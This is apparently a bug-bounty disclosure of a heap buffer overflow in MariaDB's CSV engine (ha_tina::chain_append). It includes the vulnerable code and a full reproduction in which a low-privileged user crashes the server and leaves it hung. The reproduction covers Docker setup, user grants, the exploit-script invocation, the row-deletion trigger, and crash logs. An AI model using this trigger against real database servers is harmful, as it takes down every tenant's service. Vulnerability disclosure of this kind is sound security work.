MariaDB · Report #3909248
MariaDB: heap buffer overflow in ha_tina::chain_append() lets a low-privileged user crash the server via CSV row deletion
How it was found
Summary
chain_size counts elements of the 16-byte tina_set struct. On the first array growth the code takes the my_malloc path and correctly requests chain_size * sizeof(tina_set) bytes. On the second growth it takes the my_realloc path and requests chain_size bytes, a 16x under-allocation. The next chain_append() then writes a tina_set at element index 1023 of a 1536-byte block, roughly 14.8 KB out of bounds, and every further append extends the overflow. The write value is attacker-influenced (byte offsets of deleted rows in the CSV data file) and the overflow length is attacker-chosen (the number of deleted rows). The reachable and demonstrated consequence is a remote denial of service from the lowest useful privilege level.
Target Details
Confirmed on two builds:
| Stock package | mariadb-server 10.11.14-0ubuntu0.24.04.1 (Ubuntu 24.04 LTS, default config) |
| Source build | MariaDB 13.1.0 at commit 548c80aeafb, RelWithDebInfo and ASan Debug |
| libc / arch | glibc 2.39, aarch64 Linux |
| Allocator | glibc malloc (the stock Ubuntu package links no jemalloc) |
Vulnerable Code
File: storage/csv/ha_tina.cc, function ha_tina::chain_append(), lines 642-666
if ((off_t)(chain_ptr - chain) == (chain_size -1)) // Line 642: chain_size is an element COUNT (pointer arithmetic)
{
my_off_t location= chain_ptr - chain;
chain_size += DEFAULT_CHAIN_LENGTH;
if (chain_alloced)
{
if ((chain= (tina_set *) my_realloc(csv_key_memory_tina_set,
(uchar*)chain, chain_size, // Line 650: COUNT passed as BYTE size, no * sizeof(tina_set)
MYF(MY_WME))) == NULL)
return -1;
}
else
{
tina_set *ptr= (tina_set *) my_malloc(csv_key_memory_tina_set,
chain_size * sizeof(tina_set), // Line 657: sibling branch multiplies correctly
MYF(MY_WME));
memcpy(ptr, chain, DEFAULT_CHAIN_LENGTH * sizeof(tina_set));
chain= ptr;
chain_alloced++;
}
chain_ptr= chain + location;
}
chain_ptr->begin= current_position; // Line 664: 8-byte heap write, index unbounded by the real allocation size
chain_ptr->end= next_position; // Line 665: second 8-byte heap write
chain_ptr++;
The two growth branches are the secure-sibling contrast: the my_malloc branch at line 657 multiplies chain_size by sizeof(tina_set); the my_realloc branch at line 650 does not. tina_set is 16 bytes and DEFAULT_CHAIN_LENGTH is 512:
// storage/csv/ha_tina.h
#define DEFAULT_CHAIN_LENGTH 512 // Line 21
struct tina_set { // Line 55
my_off_t begin; // 8 bytes
my_off_t end; // 8 bytes -> sizeof(tina_set) == 16
};
uint32 chain_size; // Line 82: the element counter
Growth sequence:
chain_sizestarts at 512 (ha_tina.cc:531).- First growth:
chain_sizebecomes 1024,chain_alloced == 0, somy_malloc(1024 * 16)= 16384 bytes. Correct.chain_allocedis set. - Second growth:
chain_sizebecomes 1536,chain_alloced != 0, somy_realloc(chain, 1536)bytes where1536 * 16= 24576 are needed. 16x under-allocation. - The next append writes at element index 1023: byte offset
1023 * 16= 16368 into a 1536-byte block.
Steps to Reproduce
Step 1. Stand up a stock MariaDB server
Any default MariaDB install works. A clean container reproduces it from the distro package with no custom build:
docker run -dit --name mdb-poc -p 13306:3306 ubuntu:24.04 bash
docker exec mdb-poc bash -c 'apt-get update -qq && DEBIAN_FRONTEND=noninteractive apt-get install -y -qq mariadb-server'
docker exec mdb-poc bash -c 'mkdir -p /run/mysqld && chown mysql:mysql /run/mysqld'
docker exec mdb-poc bash -c 'printf "[mysqld]\nbind-address=0.0.0.0\n" > /etc/mysql/mariadb.conf.d/99-poc.cnf'
docker exec -d mdb-poc bash -c '/usr/sbin/mariadbd --user=mysql > /var/log/mariadb.log 2>&1'
The server listens on the host at 127.0.0.1:13306.
Step 2. Create a low-privileged user
Run this as an administrator. It grants only SELECT, INSERT, DELETE, CREATE on one schema and nothing global.
CREATE DATABASE csvpoc;
CREATE USER lowpriv@'%' IDENTIFIED BY 'pw123';
GRANT SELECT, INSERT, DELETE, CREATE ON csvpoc.* TO lowpriv@'%';
FLUSH PRIVILEGES;
The account holds no FILE, SUPER, PROCESS, or RELOAD privilege. SHOW GRANTS FOR lowpriv@'%' returns exactly USAGE ON *.* plus the four schema-scoped grants, and SELECT LOAD_FILE('/etc/passwd') returns NULL, confirming no file access.
Step 3. Trigger the overflow as the low-privileged user
Run the attached mariadb_csv_dos.py from any host that can reach the server. It authenticates as lowpriv, creates a CSV table, inserts 2048 rows, and issues one DELETE.
python3 mariadb_csv_dos.py --host 127.0.0.1 --port 13306 --user lowpriv --password pw123
Substitute your own host, port and credentials. Observed output:
target: 10.11.14-MariaDB-0ubuntu0.24.04.1
rows: 2048
deleting every other row (1024 holes)
connection dropped during DELETE
server no longer accepts connections
The DELETE must produce non-adjacent holes. ha_tina.cc:637-638 merges consecutive deleted rows into a single chain entry, so id % 2 = 0 (delete every other row) yields 1024 separate entries and reaches the second growth, while a plain DELETE FROM t would collapse to one entry and not trigger it. With 2048 rows this needs INSERT and one DELETE; no restart, no crafted file.
{F6376194}
Step 4. Confirm the server is wedged
The DELETE connection is dropped and the server stops answering. Inspect the server-side log:
docker exec mdb-poc grep -aiE 'malloc\(\)|got signal|shutdown|did not exit' /var/log/mariadb.log
Observed:
malloc(): mismatching next->prev_size (unsorted)
/usr/sbin/mariadbd got signal 6 ;
[Note] /usr/sbin/mariadbd (initiated by: unknown): Normal shutdown
[Warning] /usr/sbin/mariadbd: Thread N (user : 'lowpriv') did not exit
{F6376195}
The first three lines appear immediately. The did not exit warning is emitted by a shutdown watchdog and appears roughly 20 to 30 seconds after the crash; re-run the grep after a short wait if it is not present yet. The thread number varies per run.
The process is still present but idle and serving nobody. Run both probes inside the container so the connection attempt does not pass through Docker's host port proxy, which stays up and would mask the refusal:
docker exec mdb-dos bash -c 'pgrep -x mariadbd && echo "PROCESS ALIVE"' # prints a PID: the process did not exit
docker exec mdb-dos mariadb -h 127.0.0.1 -u lowpriv -ppw123 -e 'SELECT 1 AS alive;'
Observed:
1190
ALIVE
ERROR 2002 (HY000): Can't connect to server on '127.0.0.1' (115)
glibc detects the corrupted chunk header and calls abort() while holding the arena mutex. MariaDB's SIGABRT handler then calls backtrace(), which dlopen()s libgcc_s.so.1 and calls malloc(), blocking forever on the mutex abort() still holds. The shutdown the handler starts never completes, so the process neither exits nor serves. Recovery requires kill -9 and a restart.
{F6376202}
AddressSanitizer confirmation
An ASan Debug build of 548c80aeafb reports the same operation as a clean heap-buffer-overflow write, proving the defect is a genuine out-of-bounds write and not merely a heap-consistency assertion:
==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8 at 0x51b000043e90 thread T13
#0 ha_tina::chain_append() storage/csv/ha_tina.cc:664
#1 ha_tina::delete_row(unsigned char const*) storage/csv/ha_tina.cc:1137
#2 handler::ha_delete_row(unsigned char const*) sql/handler.cc:8686
#3 TABLE::delete_row<false>(bool) sql/sql_delete.cc:369
#5 Sql_cmd_delete::delete_from_single_table sql/sql_delete.cc:964
#8 mysql_execute_command(THD*, bool) sql/sql_parse.cc:4446
#10 dispatch_command(...) sql/sql_parse.cc:1903
SUMMARY: AddressSanitizer: heap-buffer-overflow storage/csv/ha_tina.cc:664 in ha_tina::chain_append()
The stack runs straight from the SQL command dispatcher through Sql_cmd_delete into chain_append, confirming the write is reached by an ordinary DELETE with no special code path.
Impact
Impact
A user whose only rights are SELECT, INSERT, DELETE and CREATE on one schema can crash the entire database instance with two SQL statements, dropping every connection and every other tenant on the server. This is an availability break that crosses a clear trust boundary. The trigger requires no FILE privilege, no plugin, no crafted file on disk, and no configuration change from defaults, because CSV is a built-in engine present in every build and also backs mysql.slow_log and mysql.general_log.
The failure mode is worse than a clean crash. glibc calls abort() while holding the arena mutex, and MariaDB's crash handler then deadlocks inside backtrace() calling malloc(), so the process does not exit. It remains alive and idle while refusing all connections. Supervisors that treat process existence as health (systemd with Restart=on-failure, mysqld_safe, container liveness probes checking the PID) see a running process and do not restart it, turning a crash into a hung service that needs manual kill -9 and restart. The attack is scriptable and repeatable.